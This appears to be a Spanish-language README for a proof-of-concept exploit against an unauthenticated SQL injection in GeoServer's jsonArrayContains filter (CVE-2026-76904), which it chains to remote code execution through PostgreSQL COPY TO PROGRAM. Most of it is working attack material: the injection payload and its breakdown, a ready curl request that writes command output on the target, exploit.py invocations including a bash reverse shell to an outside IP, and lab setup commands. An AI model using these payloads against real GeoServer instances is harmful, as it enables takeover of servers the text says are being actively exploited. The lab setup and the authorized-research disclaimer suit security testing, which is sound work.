
POC | Inyección SQL no autenticada en GeoServer a RCE completo
CVE: CVE-2026-76904 | CVSS: 9.8 (Crítico)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Esta vulnerabilidad ha sido asignada GHSA-mqjf-5f49-2fjh por el equipo de GeoServer/GeoTools y está siendo explotada activamente en la naturaleza desde agosto de 2026.
La vulnerabilidad ha sido parcheada, pero al ser tan reciente (1786870173) todavía se está explotando mucho en toda la web.
21 de agosto de 2026: se recibió un identificador CVE: CVE-2026-76904
Inyección SQL no autenticada en la función jsonArrayContains de GeoServer
-> Ejecución remota de código mediante PostgreSQL COPY TO PROGRAM.
La función jsonArrayContains de GeoServer (específicamente en GeoTools), utilizada para consultar arrays JSON en PostgreSQL, contiene una vulnerabilidad crítica de inyección SQL. El tercer parámetro (expected) se concatena directamente en la consulta SQL sin saneamiento, escape ni vinculación de parámetros.
Específicamente esto:
jsonb_path_exists("column"::jsonb, '$ ? (@.key == "<USER_INPUT>")')
La vulnerabilidad proviene del método FilterToSqlHelper.constructEquality de GeoTools.
El tercer parámetro (expected) de la función jsonArrayContains se escribe directamente en la cadena SQL mediante String.formatted() sin ningún tipo de escape.
Object value = ((LiteralExpressionImpl) expected).getValue();
return "(@.%s == \"%s\")".formatted(jsonPath[lastIndex], value);
Este fallo no es un error nuevo, sino una regresión de CVE-2023-25158 (una vulnerabilidad de inyección SQL idéntica con CVSS 9.8).
La nueva vulnerabilidad se introdujo cuando GEOT-7589 añadió soporte para jsonb_path_exists en PostgreSQL 12+.
El parche de 2023 no protegía la función jsonArrayContains, que se añadió/modificó después de esa corrección.
Esencialmente esto:
jsonArrayContains(data,'/x','y")'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'COMMAND' --')=true
Desglose del payload:
| Componente | Propósito |
|---|---|
jsonArrayContains(data,'/x','y")\'') | Llama a la función con el tercer parámetro manipulado |
OR 1=1)) | Cierra la ruta JSON y la llamada a la función |
AS gt_injected; | Da alias a la tabla derivada |
COPY (SELECT 1) TO PROGRAM 'COMMAND' | Comando RCE de PostgreSQL |
--')=true | Comenta el resto del SQL |
curl manual
curl -G "http://127.0.0.1:8080/geoserver/topp/ows" \
--data-urlencode "service=WFS" \
--data-urlencode "version=2.0.0" \
--data-urlencode "request=GetFeature" \
--data-urlencode "typeNames=topp:test_json" \
--data-urlencode "outputFormat=application/json" \
--data-urlencode "CQL_FILTER=jsonArrayContains(data,'/x','y\")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"
El patrón de cierre de WFS 2.0 está adaptado de la investigación de mhtsec
Nadie quiere usar curl, ¿verdad? Aquí está el uso de exploit.py
PoC de creación de archivos
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "echo what\'s up BrOoOoO00????? > /tmp/yonliud.txt" \
--show-payload
PoC de RCE
python3 exploit.py \
--url http://127.0.0.1:8080/geoserver \
--workspace topp \
--layer test_json \
--column data \
--cmd "bash -c 'bash -i >& /dev/tcp/172.26.242.223/4444 0>&1'" \
--show-payload
Se incluye un docker-compose.yml para tener un inicio rápido con el PoC de forma sencilla.
Después de la inicialización usando
Docker compose up -d
podemos configurar el entorno usando la API REST disponible.
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<dataStore>
<name>test_json_store</name>
<connectionParameters>
<entry key="host">db</entry>
<entry key="port">5432</entry>
<entry key="database">geoserver_data</entry>
<entry key="user">geoserver</entry>
<entry key="passwd">geoserver</entry>
<entry key="dbtype">postgis</entry>
</connectionParameters>
</dataStore>'
Publicar la capa
curl -X POST "http://127.0.0.1:8080/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes" \
-u admin:geoserver \
-H "Content-Type: application/xml" \
-d '<featureType>
<name>test_json</name>
<nativeName>test_json</nativeName>
<title>Test JSON Layer</title>
<srs>EPSG:4326</srs>
</featureType>'
Este repositorio contiene un exploit independiente de prueba de concepto para la vulnerabilidad de inyección SQL a RCE de día cero ;jsonArrayContains; de GeoServer. Esta vulnerabilidad fue descubierta y divulgada originalmente por 秋风 (@q1uf3ng). La cadena de explotación fue recreada y validada en un entorno de laboratorio controlado.
Este proyecto está destinado únicamente a la investigación de seguridad autorizada, la educación y las pruebas en entornos de laboratorio aislados.
No utilice este software contra sistemas, redes o datos sin autorización explícita del propietario. Usted es el único responsable de cumplir con todas las leyes aplicables y de cualquier consecuencia derivada del uso de este proyecto.
El autor, YonLiud, proporciona este proyecto "tal cual", sin garantías de ningún tipo, y no acepta responsabilidad alguna por daños, pérdida de datos, interrupción del servicio, acceso no autorizado u otro uso indebido causado por este software u obras derivadas.
Al utilizar este proyecto, usted reconoce y acepta estas condiciones.